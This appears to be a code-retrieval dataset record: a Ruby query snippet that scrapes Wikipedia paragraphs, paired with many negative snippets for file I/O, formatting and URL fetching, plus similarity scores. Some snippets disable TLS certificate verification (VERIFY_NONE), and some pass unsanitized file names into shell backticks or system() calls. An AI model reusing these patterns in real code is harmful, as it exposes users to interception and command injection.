}\"\n end\n 1.0 == punc_sig_sim\n )\n )\n # All primary subtitles are preceded by punctuation, and primary\n # and foreign punctuation signatures are identical.\n snap_subtitles_to_punctuation_signature(p_s, f_s)\n else\n # Do a simple character based interpolation for initial\n # subtitle_mark placement.\n new_f_s_raw = interpolate_subtitle_positions(p_s, f_s)\n # Snap subtitle_marks to nearby punctuation\n snap_subtitles_to_nearby_punctuation(p_s, new_f_s_raw)\n end\n end", "def create(p)\n puts \"Creating page #{p}\"\n Dir.mkdir p unless File.exists? p\n Content.new(\"#{@dir}\", @extension).page p\n end", "def paragraph parts\n parts = parts.map do |part|\n if \"\\n\" == part then\n RDoc::Markup::HardBreak.new\n else\n part\n end\n end if break_on_newline?\n\n RDoc::Markup::Paragraph.new(*parts)\n end", "def render_as_format(from, to, format)\n puts \"Hola, bon dia!!\"\n puts from\n puts to\n thefile = `iconv -f ISO8859-1 #{from}`\n dotfile = Tempfile.new('dot')\n begin\n model = T2Flow::Parser.new.parse(thefile)\n T2Flow::Dot.new.write_dot(dotfile, model)\n dotfile.close\n `dot -T#{format} -o\"#{to}\" #{dotfile.path}`\n ensure\n dotfile.unlink\n end\nend", "def convert_paragraphs_to_characters(str)\n str[0, @number]\n end", "def encoding_line; end", "def parse_paragraph_from(p_node)\n Elements::Containers::Paragraph.new(p_node, document_properties)\n end", "def parse_paragraph_from(p_node)\n Elements::Containers::Paragraph.new(p_node, document_properties)\n end", "def makestr(f, strptr)\n f.seek(strptr)\n str = \"\"\n b = f.read(1)\n if b != 0\n str = str + b\n end\n while b != \"\\000\"\n b = f.read(1)\n if b != \"\\000\"\n str = str + b\n end\n end\n return str\n end", "def string2file(string,filename='string2file.txt',filepath='.')\n File.open(\"#{filepath}/#{filename}\",\"w\") do |f|\n f << string\n end\nend", "def simple_format(text, html_options={})\n start_tag = open_tag('p', html_options)\n text = text.to_s.dup\n text.gsub!(/\\r\\n?/, \"\\n\") # \\r\\n and \\r -> \\n\n text.gsub!(/\\n\\n+/, \"</p>\\n\\n#{start_tag}\") # 2+ newline -> paragraph\n text.gsub!(/([^\\n]\\n)(?=[^\\n])/, '\\1<br />') # 1 newline -> br\n text.insert 0, start_tag\n text << \"</p>\"\n end", "def test_encoded_in_encoded_out\n doc = Document.new( @encoded )\n doc.write( out=\"\" )\n out.force_encoding(::Encoding::ASCII_8BIT)\n assert_equal( @encoded.b, out )\n end", "def create_dictionary_file(dictionary)\n dictionary_file = File.open(\"dictionary.txt\", \"w\")\n dictionary_file.puts dictionary\n dictionary_file.close\n end", "def transfer_subtitles_to_foreign_sentence(p_s, f_s)\n subtitle_count = p_s.count('@')\n if 0 == subtitle_count\n # Return as is\n puts \" * No subtitle found\" if debug\n Outcome.new(true, [f_s, 1.0])\n elsif((1 == subtitle_count) && (p_s =~ /\\A@/))\n # Prepend one subtitle\n puts \" * Single subtitle, prepend to foreign sentence\" if debug\n Outcome.new(true, ['@' << f_s, 1.0])\n else\n transfer_subtitles(p_s, f_s)\n end\n end", "def write(p0) end", "def write(p0) end", "def old_simple_format(text, html_options={})\n start_tag = tag('p', html_options, true)\n text = text.to_s.dup\n text.gsub!(/\\r\\n?/, \"\\n\") # \\r\\n and \\r -> \\n\n text.gsub!(/\\n\\n+/, \"</p>\\n\\n#{start_tag}\") # 2+ newline -> paragraph\n text.gsub!(/([^\\n]\\n)(?=[^\\n])/, '\\1<br />') # 1 newline -> br\n text.insert 0, start_tag\n text << \"</p>\"\n end", "def write(p0) end", "def preprocess(input)\n input = input.to_s.encode('UTF-8',\n :invalid => :replace,\n :undef => :replace)\n\n input.gsub!(/(?:\\r\\n|[\\r\\f])/, \"\\n\")\n input.gsub!(\"\\u0000\", \"\\ufffd\")\n input\n end", "def preprocess(input)\n input = input.to_s.encode('UTF-8',\n :invalid => :replace,\n :undef => :replace)\n\n input.gsub!(/(?:\\r\\n|[\\r\\f])/, \"\\n\")\n input.gsub!(\"\\u0000\", \"\\ufffd\")\n input\n end", "def contents_convert_utf8\n @publication.title = @publication.title ? @publication.title.force_encoding('UTF-8') : \"\"\n @publication.abstract = @publication.abstract ? @publication.abstract.force_encoding('UTF-8') : \"\"\n @publication.contents = @publication.contents ? @publication.contents.force_encoding('UTF-8') : \"\"\n end", "def create\n @foobar = Foobar.new(params[:foobar])\n \n # new stuff\n @paragraphbuilder = @foobar.content.split(\"\\r\\n\")\n\n @paragraphbuilder.each do |paragraph|\n puts paragraph\n end\n\n #end new stuff\n\n respond_to do |format|\n if @foobar.save\n format.html { redirect_to @foobar, notice: 'Foobar was successfully created.' }\n format.js\n #format.json { render json: @foobar, status: :created, location: @foobar }\n else\n format.html { render action: \"new\" }\n format.json { render json: @foobar.errors, status: :unprocessable_entity }\n end\n end\n end", "def write_xhtml_to(io, options = T.unsafe(nil)); end", "def write_xhtml_to(io, options = T.unsafe(nil)); end", "def paragraph_by_chars(number: T.unsafe(nil), supplemental: T.unsafe(nil)); end", "def _rl_output_some_chars(string,start,count)\r\n case @encoding\r\n when 'X'\r\n @_rl_out_stream.write(string[start, count].force_encoding(@encoding_name))\r\n else\r\n @_rl_out_stream.write(string[start, count])\r\n end\r\n end", "def create_html path\n html_name = \"#{File.basename(path, '.md')}.html\"\n\n if html_name !~ /^index/\n html_name = 'md/' + html_name\n end\n\n puts \"Ejecutando «pc-pandog -i #{path} -o #{html_name}»…\"\n system(\"pc-pandog -i #{path} -o #{html_name}\")\n\n html = get_html(html_name)\n new_html = []\n\n write = true\n html.each do |l|\n if l =~ /<head>/\n write = false\n if html_name !~ /^index/\n new_html.push($head.join(\"\\n\"))\n else\n new_html.push($head.join(\"\\n\").gsub('<link type=\"text/css\" rel=\"stylesheet\" href=\"../css/styles.css\">', '<link type=\"text/css\" rel=\"stylesheet\" href=\"css/styles.css\">').gsub('<script type=\"text/javascript\" src=\"../js/piwik.js\"></script>', '<script type=\"text/javascript\" src=\"js/piwik.js\"></script>'))\n end\n elsif l =~ /<\\/head>/\n write = true\n elsif l =~ /<style>/\n if html_name !~ /^index/\n new_html.push($header.join(\"\\n\"))\n else\n new_html.push($header.join(\"\\n\").gsub('../index.html', '').gsub(/\"(\\S+?\\.html)\"/, 'html/' + '\\1')) \n end\n elsif l =~ /<\\/body>/\n new_html.push($footer.join(\"\\n\"))\n new_html.push(l)\n else\n if write == true\n new_html.push(l)\n end\n end\n end\n\n new_html = beautifier_html(new_html)\n\n\t# Se actualiza la información\n\tarchivo = File.new(html_name, 'w:UTF-8')\n\tarchivo.puts new_html\n\tarchivo.close\n\n # Si no es el index, lo mueve a la carpeta «html»\n if html_name !~ /^index/\n FileUtils.mv(html_name, 'html')\n end\nend", "def write(path, text)\n path = \"#{@root}/#{path}\"\n File.open(path, 'w:UTF-8') do |f|\n f.write text\n end\n path\n end", "def writeFile(content, title, directory, filename)\n parsed_content = \"#{content.sub(\"title:\", \"title: \\\"#{title}\\\"\")}\"\n parsed_content = \"#{parsed_content.sub(\"date:\", \"date: #{POST_TIME}\")}\"\n File.write(\"#{directory}/#{filename}\", parsed_content)\n puts \"#{filename} was created in '#{directory}'.\"\nend" ]
[ "0.61327845", "0.56369334", "0.5628283", "0.561192", "0.55925214", "0.55839455", "0.5569195", "0.5524371", "0.55093324", "0.5389055", "0.5369106", "0.5335553", "0.5329922", "0.5271824", "0.5261514", "0.5216091", "0.51790136", "0.51734936", "0.5169409", "0.514829", "0.51154953", "0.5108004", "0.51003546", "0.5096701", "0.5079983", "0.50757694", "0.5074854", "0.5073229", "0.5063395", "0.5054119", "0.50530034", "0.50519186", "0.504367", "0.50421137", "0.50372803", "0.5001491", "0.4995605", "0.49947312", "0.49911773", "0.4985782", "0.49758154", "0.49711147", "0.49412778", "0.4937631", "0.4936276", "0.49295232", "0.49251714", "0.49251714", "0.49162677", "0.4905092", "0.48912403", "0.48848876", "0.48736787", "0.48599377", "0.48516876", "0.48482925", "0.48346618", "0.4826321", "0.48170304", "0.48130226", "0.4808381", "0.48026288", "0.4802336", "0.48017845", "0.47970656", "0.4796359", "0.4796026", "0.47898173", "0.47897467", "0.47895616", "0.4787597", "0.47852674", "0.47838473", "0.47766134", "0.47764316", "0.47662786", "0.4759289", "0.47528785", "0.47528785", "0.47527167", "0.47512752", "0.47505814", "0.47414845", "0.47412446", "0.4739898", "0.47372767", "0.47372767", "0.47371686", "0.47370234", "0.47317117", "0.47317117", "0.473113", "0.47275403", "0.47234765", "0.47234765", "0.4720735", "0.4718579", "0.47172788", "0.47171286", "0.47160405" ]
0.6710374
0
Function opens url and extracts data from it
def get_info(w) require 'open-uri' paragraph = [] contents = open('http://en.wikipedia.org/wiki/' + w) {|f| f.readlines.each {|x| if x =~ /<p>(.*)<\/p>/ paragraph.push($1) end }} # If a file name was passed in to be stored somewhere # Otherwise, Temp.doc will be created and modified if(ARGV[0] != nil) file = File.open(ARGV[0], 'a') else file = File.open("Temp.doc", 'a') end # Writes to file what is being searched for file.write(w.upcase + ":\n") # Uses regular expression to grab first two paragraph paragraph.each {|p| paragraph(p,file)} file.write("\n") file.close end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def fetch_url_data(url)\n open(url).read\n end", "def fetch_url_data(url)\n open(url).read\n end", "def get_url_data(url)\n Nokogiri::HTML(open(url))\n end", "def get_url_data(url)\n Nokogiri::HTML(open(url))\n end", "def fetchURL(url)\n open(url) {|response| response.read}\nend", "def http_get(url)\n require \"open-uri\"\n URI.parse(url).read\n end", "def fetch_from_url url\n require \"net/http\"\n\n uri = URI.parse(url)\n\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri)\n\n request['User-Agent'] = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 OPR/36.0.2130.46'\n \n response = http.request(request)\n \n return response.body # => The body (HTML, XML, blob, whatever)\n end", "def read_url_file(url)\n uri = URI.parse url\n uri.read\n end", "def get_url\n Nokogiri::HTML(open(@url))\n end", "def open(url)\n Net::HTTP.get(URI.parse(url))\nend", "def open(url)\n Net::HTTP.get(URI.parse(url))\nend", "def extract_content\n resp = \"\"\n begin\n resp = Nokogiri::HTML(open(url))\n # do not raise Exception => e\n # https://robots.thoughtbot.com/rescue-standarderror-not-exception\n rescue SocketError, Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Net::HTTPBadResponse, Net::HTTPHeaderSyntaxError, Net::ProtocolError => e\n raise e.message\n end\n resp\n end", "def fetch()\n @result = open(@url,@headers)\n end", "def read_url(url)\n # open(url, 'rb') { |fh| fh.read }\n\n # read contents of URL, force UTF-8 encoding\n open(url, 'rb', encoding: 'UTF-8') { |fh| fh.read }\n end", "def fetch\n open(to_url) { |io| io.read }\n end", "def read_http(url)\n uri = URI(url)\n Net::HTTP.get_response(uri)\nend", "def read_http(url)\n uri = URI(url)\n Net::HTTP.get_response(uri)\nend", "def openurl(url)\n data = nil\n uri = URI.parse(url)\n proxy_uri = self.getproxyuri\n http = (proxy_uri != nil) ? Net::HTTP.new(uri.host, uri.port, proxy_uri.host, proxy_uri.port) : Net::HTTP.new(uri.host, uri.port)\n if uri.scheme == \"https\"\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n http.start {\n http.request_get(uri.path) {|res|\n data = res.body\n }\n }\n return data\n end", "def get_url(url)\n myurl = URI.parse(url)\n req = Net::HTTP::Get.new(url)\n res = Net::HTTP.start(myurl.host, myurl.port) { |http|\n http.request(req)\n }\n \n res.body # return\n end", "def read_from_url\n text = open_url.force_encoding(Encoding::UTF_8)\n store_in_cache(text) if text && config.cache\n text\n end", "def read_url(url)\n\t\tputs \"Wrapper to return the OpenURI object for url: #{url}\" if @verbose\n\t\tbegin\n\t\t\turl_object=open_url(url)\n\t\t\t@visited_urls_by_crawler[url]=true unless @visited_urls_by_crawler.key?(url)\n\t\t\tbody=url_object.read\n\t\t\treturn body\n rescue => ee\n puts \"Exception on method #{__method__}: #{ee}\" if @verbose\n return nil\n end\n\tend", "def get_file(url); end", "def data_retrieve(url_string)\n url = url_string # open url\n\n begin\n data_read =open(url).read # read the url\n rescue SocketError => e\n return {}\n end\n\n @data_result = JSON.parse(data_read) # parse JSON received from the api\n\n return @data_result #return parsed JSON data to an instance variable\n\n end", "def parseData (uri)\n uri = URI.parse(uri)\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri)\n response = http.request(request)\n office = response.body\n if response.header[\"Content-Encoding\"] == \"gzip\"\n gz = Zlib::GzipReader.new(StringIO.new(office.to_s)) \n office = gz.read\n end\n office\n end", "def document\n open(url).string.split(';')\n end", "def do_get url\n\t\turi = URI.parse(url)\n\t\tNet::HTTP.get_response(uri)\n\tend", "def read_page(url)\n download(url, Downloader.cookie).read\n end", "def extract!\n browser = Mechanize.new\n puts \"Fetching #{uri}\".colorize(:yellow)\n page = browser.get(uri) rescue nil\n data = page.links_with(:href => /zip/).map(&:text)\n puts \"Extracted #{data.size} links from page\".colorize(:green); ap data\n\n data\n end", "def parse_url_data(url)\n filename = URI.decode(url).split('/')[-1]\n { filename: filename,\n version: filename.split('-')[-2].split('_')[-1],\n build: filename.split('-')[-1].split('.')[0].split('_')[0] }\n end", "def parse(url)\n # parse URL\n # URL ends with number then filetype.\n # filetype can be removed by the final [.]. name of file is preceded by final [/].\n # number detection... every example we've seen has something before the number that isn't a number.\n # # of 0's to use as buffer can be read from the filename itself.\n # parts:\n # URL base (everything up to number)\n # filename base (after /, before number)\n # number base\n end", "def read_gp_summary(url)\n\tcn = Faraday.new(:url => url) do |f|\n \tf.adapter Faraday.default_adapter\n\tend\n\ttxt = cn.get.body.gsub! \"\\\\n\", \"\\n\"\n\treturn txt\nend", "def api_fetch(url)\n JSON.parse(URI.open(url).read)\nend", "def restRequest(url)\n printDebugMessage('restRequest', 'Begin', 11)\n printDebugMessage('restRequest', 'url: ' + url, 12)\n # Split URL into components\n uri = URI.parse(url)\n # Get the resource\n userAgent = getUserAgent()\n data = uri.read('User-agent' => userAgent)\n printDebugMessage('restRequest', 'data: ' + data, 21)\n printDebugMessage('restRequest', 'End', 11)\n return data\n end", "def parse_url(url)\n doc = Net::HTTP.get(URI('http://www.flvcd.com/parse.php?kw=' + url))\n row = ''\n doc.lines do |line|\n if line =~ /<BR><a href=\"http:\\/\\/.*\\.mp4\"/\n row = line.lstrip!.b\n break\n end\n end\n#puts row[%r{\"http://.+?\\.mp4\"}]\n links = []\n row.scan(%r{\"http://.+?\\.mp4\"}) {|link| links.push(link[1..-2])}\n links.each {|l| puts l}\n links\nend", "def swapi_fetch(url)\n JSON.parse(open(url).read)\nend", "def get_page_source(page_url)\n url = URI.parse(page_url)\n req = Net::HTTP::Get.new(url.path)\n Net::HTTP.start(url.host, url.port) do |http|\n http.request(req)\n end\nend", "def get_content\n send_get_content(url)\n end", "def extract_observations(url)\n\n JSON.load(open(url))\n\n end", "def fetch_html_file(url)\n file = open(normalize_url(url), read_timeout: READ_TIMEOUT)\n response_uri = response_uri(file)\n doc = Nokogiri::HTML.parse(file)\n HtmlFile.new(doc, response_uri)\n end", "def parse(uri); end", "def load_content\n @load ||= open(url).read rescue nil\n end", "def get_file(url)\n get(url).body\n end", "def get(url); end", "def get url # {{{\n # Pre-condition\n raise ArgumentError, \"The function expects a string, but got a (#{url.class.to_s})\" unless( url.is_a?(String) )\n\n # Main\n content = OpenStruct.new\n request = open( url )\n\n content.url = url\n content.content = request.readlines\n content.content_type = request.content_type\n content.charset = request.charset\n content.content_encoding = request.content_encoding\n content.last_modified = request.last_modified\n content.date = DateTime.now\n\n # Post-condition\n raise ArgumentError, \"Result should be of type OpenStruct, but is (#{content.class.to_s})\" unless( content.is_a?(OpenStruct) )\n\n content\n end", "def get_html_contents(url)\n\turl_string=\"\"\n\t# Open page and store contents\n\topen(url) { |data| \n\t\turl_string = data.read\n\t}\n\n\t# Remove \"not to be confused with\" links\n\thatnote_regex = /<div class=\"hatnote\">.*?<\\/div>/m\n\thtml_string = url_string.gsub(hatnote_regex,\"\")\n\n\treturn html_string\nend", "def retrieve(url)\n Hpricot(Net::HTTP.get(URI.parse(url)))\n end", "def get\n @html = Nokogiri::HTML(URI.open(@url))\n\n self\n end", "def get_json( url )\n JSON.parse( get_url( url ){ |f| f.read } )\nend", "def parse_get(href)\n text = HTTParty.get(href)\n Nokogiri::HTML(text)\nend", "def openUrl(url)\n i = 0\n data = nil\n while i < 3 do\n begin\n data = open(url).read\n i = 3\n rescue\n sleep(1)\n i += 1\n end\n end\n return data\nend", "def refresh\n open(@url) do |http|\n parse(http.read)\n end\n end", "def refresh\n open(@url) do |http|\n parse(http.read)\n end\n end", "def refresh\n open(@url) do |http|\n parse(http.read)\n end\n end", "def parse_url(url)\n response_str = RestClient.get(url)\n characters_arr = JSON.parse(response_str)\nend", "def get_inf(url)\n\turi = URI.parse(url)\n\tresponse = Net::HTTP.get_response(uri)\n\tJSON.parse(response.body)\nend", "def open_url url\n begin\n html = open(url).read\n rescue Exception => e\n redirect = URI.parse(url)\n if e.message =~ /redirection forbidden/ && redirect.scheme == 'http'\n html = open_url(\"https://\" + redirect.host + redirect.path)\n end\n if e.message =~ /(Authorization Required|Unauthorized)/\n html = open(url, @creds).read\n end\n end\n return html\n end", "def open_url(url)\n url = url.is_a?(NSURL) ? url : NSURL.URLWithString(url)\n request = NSURLRequest.requestWithURL(url, cachePolicy: NSURLRequestUseProtocolCachePolicy, timeoutInterval: 20)\n web.loadRequest request\n end", "def download_url(url)\n ethon = ethon_easy_requester\n ethon.url = uri_escape(url)\n ethon.perform\n check_and_raise_failure(ethon)\n {\n file_contents: ethon.response_body,\n link_url: last_location_header(ethon)\n }\n end", "def open_url(code)\n url = URL+code\n puts url\n open(url).read\n end", "def html_open_url\n #coin market\n page_url = \"https://coinmarketcap.com/all/views/all/\"\n doc = Nokogiri::HTML(open(page_url))\nend", "def fetch(uri)\n unless uri.is_a?(URI)\n uri = uri.to_s\n\n unless uri.include?(\"rafb.net\")\n uri = MainURI.to_s + \"results/#{uri}.html\"\n end\n\n unless uri.include?(\"http\")\n uri = \"http://\" + uri\n end\n end\n\n uri = URI(uri.to_s.sub(/\\.html$/, \".txt\"))\n\n unless uri.host == \"rafb.net\"\n raise(ArgumentError, \"Invalid host %p\" % uri.host)\n end\n\n unless uri.path[%r{^/paste/results/[^/.]+\\.txt$}]\n raise(ArgumentError, \"Invalid path %p\" % uri.path)\n end\n\n open(uri) { |res| res.read }\n end", "def download\n @doc = Nokogiri::HTML(open(@url))\n\tend", "def parse_request(url)\n return Crack::XML.parse(open(url).read)\n end", "def get(url)\n r = {}\n resp = open(url)\n r[:meta] = resp\n r[:body] = resp.read\n return r\nend", "def get_data\n if @url\n @page = fetch_url(@url)\n @parse_time = parse_today_page\n @page = nil\n self.total_time\n end\n end", "def get_doc(url)\n # open-uri options\n options = {}\n if $certs\n options = {http_basic_authentication: $certs}\n end\n options[:redirect] = false;\n\n # URI object\n uri = resolve_as_uri(url)\n\n # open-uri\n charset = nil\n begin\n html = open(uri, options) do |f|\n charset = f.charset\n f.read\n end\n rescue OpenURI::HTTPRedirect => redirect\n dir(\"Redirection to other host\") if uri.host != redirect.uri.host\n uri = redirect.uri\n retry\n end\n\n # parse\n return Nokogiri::HTML.parse(html, nil, charset)\nend", "def get_page(url)\n @doc = Nokogiri::HTML(open(url))\n end", "def get_url(url)\n url = URI.parse(URI.escape(url))\n res = Net::HTTP.get_response(url)\n return res\nend", "def get_webpage(url)\n uri = URI.parse(url)\n Net::HTTP.get_response(uri)\nend", "def scrape(uri)\n return Nokogiri::HTML(open(uri), nil, \"UTF-8\")\nend", "def scrape(uri)\n return Nokogiri::HTML(open(uri), nil, \"UTF-8\")\nend", "def http_request(url)\n uri = URI.parse(url)\n begin\n http = uri.read(read_timeout: 4)\n rescue OpenURI::HTTPError => e\n raise RequestError, YAML::dump(e)\n end\n end", "def open_url\n u = URI.parse(@host_url)\n u.open { |file| @html_doc = Nokogiri::HTML(file) }\n\n rescue OpenURI::HTTPError => excp\n raise \"#{excp}, could not open #{@host_url} \"\n ensure\n @html_doc\n end", "def url_content\n\t file.url\n\tend", "def get_page()\n @page = Nokogiri::HTML(open(@url).read)\n end", "def fetch(url)\n url = URI.parse url\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = (url.scheme == \"https\")\n http.request_get url.request_uri\n end", "def parse_uri(resource)\n feed = ExtractData.extract_contents_from_url(resource).force_encoding 'UTF-8'\n parse feed\n end", "def get_single_url(url)\n\n useragent = \"NotubeMiniCrawler/0.1\"\n u = URI.parse url \n req = Net::HTTP::Get.new(u.request_uri,{'User-Agent' => useragent})\n begin \n res2 = Net::HTTP.new(u.host, u.port).start {|http|http.request(req) }\n end\n\n r = \"\"\n begin\n r = res2.body\n rescue OpenURI::HTTPError=>e\n case e.to_s \n when /^404/\n raise 'Not Found'\n when /^304/\n raise 'No Info'\n end\n end\n return r\n end", "def scrape(uri)\n site = open(uri)\n data = \"\"\n site.each_line { |x| data += x }\n Hpricot(Iconv.conv('utf-8', 'iso-8859-1', data))\nend", "def get_data\n if @url\n @page = fetch_url(@url)\n @parse_time = parse_dailydev_page\n @page = nil\n self.total_time\n end\n end", "def get url\n net_http_response = self.connection.get url\n [net_http_response.body, net_http_response.code.to_i, net_http_response.message]\n end", "def fetchPage(url)\n Nokogiri::HTML(open(url, 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.152 Safari/535.19').read, nil, 'utf-8')\n end", "def parse_html\n scraped_content = Nokogiri::HTML(open(@url).read)\n raise WrongIDforURL if scraped_content.text == 'No such item.'\n return scraped_content\n end", "def grab_html(start_url, file_name, dir)\n\turl = start_url\n\turl = URI.parse(url)\n\n\t# Establishing Connection\n\tputs \"\\nEstablishing connection to #{start_url} ....\\n\\n\"\n\n\t# Ensures https security\n\thttp = Net::HTTP.new(url.host, url.port)\n\thttp.use_ssl = true if url.port == $https_port_num\n\thttp.verify_mode = OpenSSL::SSL::VERIFY_NONE if url.port == $https_port_num\n\n\tpath = url.path\n\tpath += \"?\" + url.query unless url.query.nil?\n\tres, data = http.get( path )\n\tcase res\n\t when Net::HTTPSuccess, Net::HTTPRedirection\n\t # parse link\n\t html = open(url)\n\t\t\tdoc = Nokogiri::HTML(html)\n\n\t\t\t# Saves as html file\n\t\t\tputs \"Loading html from #{start_url} into #{file_name}_html ...\\n\\n\"\n\n\t\t\thtml_file = File.open(\"#{dir}#{file_name}_html\", 'w')\n\t\t\tFile.write(html_file, doc)\n\t\t\treturn html_file\n\t else\n\t return \"failed\" + res.to_s\n\tend\nend", "def enhance\n require 'open-uri'\n\n source = open(self.url).read\n return Readability::Document.new(source).content\n end", "def code_for(url)\n if obj = code_object(url)\n obj.data\n end\n end", "def get_http(url)\n http_basic_authentication = SS::MessageEncryptor.http_basic_authentication\n\n redirection = 0\n max_redirection = SS.config.cms.check_links[\"max_redirection\"].to_i\n\n if url.match?(/^\\/\\//)\n url = @base_url.sub(/\\/\\/.*$/, url)\n elsif url[0] == \"/\"\n url = File.join(@base_url, url)\n end\n\n begin\n Timeout.timeout(@html_request_timeout) do\n data = []\n ::URI.open(url, proxy: true, redirect: false, http_basic_authentication: http_basic_authentication) do |f|\n f.each_line { |line| data << line }\n end\n return data.join\n end\n rescue OpenURI::HTTPRedirect => e\n return if redirection >= max_redirection\n redirection += 1\n url = e.uri\n retry\n rescue Timeout::Error\n nil\n rescue => e\n nil\n end\n end", "def get_http(url)\n http_basic_authentication = SS::MessageEncryptor.http_basic_authentication\n\n redirection = 0\n max_redirection = SS.config.cms.check_links[\"max_redirection\"].to_i\n\n if url.match?(/^\\/\\//)\n url = @base_url.sub(/\\/\\/.*$/, url)\n elsif url[0] == \"/\"\n url = File.join(@base_url, url)\n end\n\n begin\n Timeout.timeout(@html_request_timeout) do\n data = []\n ::URI.open(url, proxy: true, redirect: false, http_basic_authentication: http_basic_authentication) do |f|\n f.each_line { |line| data << line }\n end\n return data.join\n end\n rescue OpenURI::HTTPRedirect => e\n return if redirection >= max_redirection\n redirection += 1\n url = e.uri\n retry\n rescue Timeout::Error\n nil\n rescue => e\n nil\n end\n end", "def connection\n open(url)\n end", "def get_response_url\n\tdoc = Nokogiri::HTML(open(lease_break_url))\nend", "def open(url)\n driver.get(url)\n end", "def go_through_all_the_lines(url)\n list = CSV.read(url)\nend", "def download(url)\n STDERR.print \"loading #{url}\"\n response = Faraday.get(url)\n STDERR.puts ' (done)'\n response.body\n end", "def return_result(url)\n json_file = open(url) { |f| f.read }\n JSON.parse(json_file)\n end", "def extract\n @browser.visit @url\n Nokogiri::HTML(@browser.html)\n end", "def get_response(url)\n uri = URI(url)\n Net::HTTP.start(uri.host, uri.port, use_ssl: uri.scheme == 'https') do |http|\n request = Net::HTTP::Get.new uri\n return http.request(request).body\n end\nend", "def process_url(url)\n # add timestamp to buffer file name\n # (in order to avoid file conflicts when running multiple program instances)\n buffer_file_name = \"url_response_buffer_#{DateTime.now.strftime('%Q')}.txt\"\n uri = URI(url)\n begin\n Net::HTTP.start(uri.host, uri.port, use_ssl: true) do |http|\n request = Net::HTTP::Get.new uri\n http.request request do |response|\n File.open(buffer_file_name, 'w') do |file|\n response.read_body do |chunk|\n file.write(chunk)\n end\n end\n end\n end\n rescue StandardError => e\n return \"Network error: #{e}\"\n end\n process_file(buffer_file_name)\n File.delete(buffer_file_name) if File.exist?(buffer_file_name)\n 'Done processing'\n end", "def parse_content\n doc = Nokogiri::HTML(open(url.source))\n doc.css('a', 'h1', 'h2', 'h3').map do |link|\n UrlContent.new do |urlc|\n content = link.content.strip.force_encoding(\"utf-8\")\n if link.node_name == 'a'\n content = link.get_attribute(\"href\")\n if not (content.present? and (content.starts_with?(\"http\") or content.starts_with?(\"www\")))\n content = url.source+content.to_s\n end\n end\n urlc.content = content\n urlc.content_type = link.node_name\n urlc.url = self.url\n end\n end\n end", "def fetch\n feed_data = REXML::Document.new(open(@url, :proxy => true)).root\n parse(feed_data)\n end", "def get_page(url)\n Hpricot.buffer_size = 262144\n Hpricot(open(url, {\"User-Agent\" => \"Mozilla/5.0 Firefox/3.5\"}))\n end", "def load_from_url!(url)\n uri = URI(url)\n req = Net::HTTP::Get.new(uri)\n req['Accept'] = 'application/json'\n\n res = Net::HTTP.start(uri.hostname, uri.port) do |http|\n http.request(req)\n end\n\n # TODO: handle redirects\n raise IOError, \"Unable to load URL #{url}\" unless res.is_a?(Net::HTTPOK)\n\n load_from_json!(res.body)\n end" ]
[ "0.79000145", "0.79000145", "0.76809233", "0.766574", "0.7399678", "0.7049258", "0.7002691", "0.69545346", "0.687522", "0.6812831", "0.6812831", "0.6782144", "0.67641157", "0.6755721", "0.6703199", "0.6673281", "0.6673281", "0.66638935", "0.6587836", "0.65628326", "0.655896", "0.6548545", "0.6529004", "0.6478543", "0.64242935", "0.64143467", "0.6355849", "0.63535744", "0.6347908", "0.63408077", "0.631829", "0.6308139", "0.62961334", "0.62950325", "0.62729126", "0.62664086", "0.6244661", "0.6238986", "0.6224814", "0.62087494", "0.6198325", "0.6172387", "0.61626005", "0.61597747", "0.61266404", "0.6122794", "0.6115164", "0.61067706", "0.6105439", "0.6078197", "0.60647565", "0.60647565", "0.60647565", "0.6038338", "0.60109764", "0.6010017", "0.5988523", "0.5988151", "0.59803843", "0.59730536", "0.59617615", "0.5957013", "0.595516", "0.5949848", "0.5944132", "0.59348106", "0.5932016", "0.5922609", "0.5921443", "0.5915024", "0.5915024", "0.5905992", "0.5899245", "0.58979714", "0.5897833", "0.5894931", "0.588469", "0.5880551", "0.5880103", "0.58789724", "0.58763444", "0.5871949", "0.58713216", "0.5868114", "0.5866312", "0.5860439", "0.58557034", "0.58557034", "0.58548516", "0.58504826", "0.5844585", "0.5839413", "0.58320326", "0.58253604", "0.58189553", "0.5816992", "0.57980233", "0.5796344", "0.5794966", "0.579323", "0.57919484" ]
0.0
-1
This function keeps loop going until "DONE" is seen Otherwise, function get_info will be called to use To extract first two paragraphs from Wikipedia
def get_info_loop file loop do line = file.gets if line == nil then break end words = line.scan(/\S+/) words.each{ |word| case word when /DONE/ return else get_info(word) end } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_info(w)\n\trequire 'open-uri'\n\tparagraph = []\n\tcontents = open('http://en.wikipedia.org/wiki/' + w) {|f| \n\t\tf.readlines.each {|x| \n\t\t\tif x =~ /<p>(.*)<\\/p>/\n\t\t\tparagraph.push($1)\n\t\t\tend\n\t}}\n\n\t# If a file name was passed in to be stored somewhere\n\t# Otherwise, Temp.doc will be created and modified\n\tif(ARGV[0] != nil)\n\t\tfile = File.open(ARGV[0], 'a')\n\telse\n\t\tfile = File.open(\"Temp.doc\", 'a')\n\tend\n\n\t# Writes to file what is being searched for\n\tfile.write(w.upcase + \":\\n\")\n\n\t# Uses regular expression to grab first two paragraph\n\tparagraph.each {|p| paragraph(p,file)}\n\t\n\tfile.write(\"\\n\")\n\tfile.close\nend", "def get_info\n doc = Hpricot(open(noaa_url))\n puts noaa_url\n if !self.description\n doc.search(\"h1\").each do |elem| \n desc = elem.inner_html\n # remove imbeded links in the middle of the description\n desc.gsub!(/\\<a.href.*?\\<\\/a\\>/,' ')\n self.description = desc\n puts self.description\n self.save\n end\n end\n if !self.geo_location\n begin\n elems = doc.search(\"p/b\").to_a.map{|elm| elm.inner_html}\n if elems[1] == \"Owned and maintained by National Data Buoy Center\"\n puts elems[4]\n self.geo_location = elems[4]\n self.save\n end\n rescue\n end \n end\n 